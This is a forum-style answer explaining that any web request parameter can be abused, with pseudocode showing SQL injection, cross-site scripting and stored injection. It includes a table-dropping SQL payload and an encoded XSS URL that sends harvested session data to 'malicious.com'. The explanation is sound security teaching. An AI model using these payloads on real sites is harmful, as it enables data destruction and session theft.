I think OP is focusing on the wrong place by looking at the URL. All GET and POST parameters can be abused, regardless of what they're called. The only relevant code is that which uses this parameter.
For example, you can have an SQL injection vulnerability if you concatenate this parameter on to an SQL query:
db_query("SELECT code FROM callbacks WHERE id = " + param("callback"))
A user could visit:
www.site.com/ajax/ads.asp?callback=0;DROP+users
You have an XSS vulnerability if you're doing something like:
return new Response("Hello " + param("callback"))
A user could visit:
www.site.com/ajax/ads.asp?callback=%3Cscript%3EaddToDom(%27%3Cimg%20src%3D%22http%3A%2F%2Fmalicious.com%2F%3Fdata%3D%27%2BharvestSessionData()%2B%27%22%2F%3E%27)%3C%2Fscript%3E
These are all variations on the same theme: treating all languages as strings, which allows them to be mixed. Other examples are shell injection, eval-based code injection, breaking out of "quotations", etc.
You can also defer these same vulnerabilities if you store the parameter somewhere:
// Escape the parameter when we use it in our SQL
db_query('INSERT INTO callbacks (:cb)', {'cb': param('callback')})
// But suffer the same problems in a later request
return new Response("Our callbacks include " + db_query("SELECT * FROM callbacks").join(", "))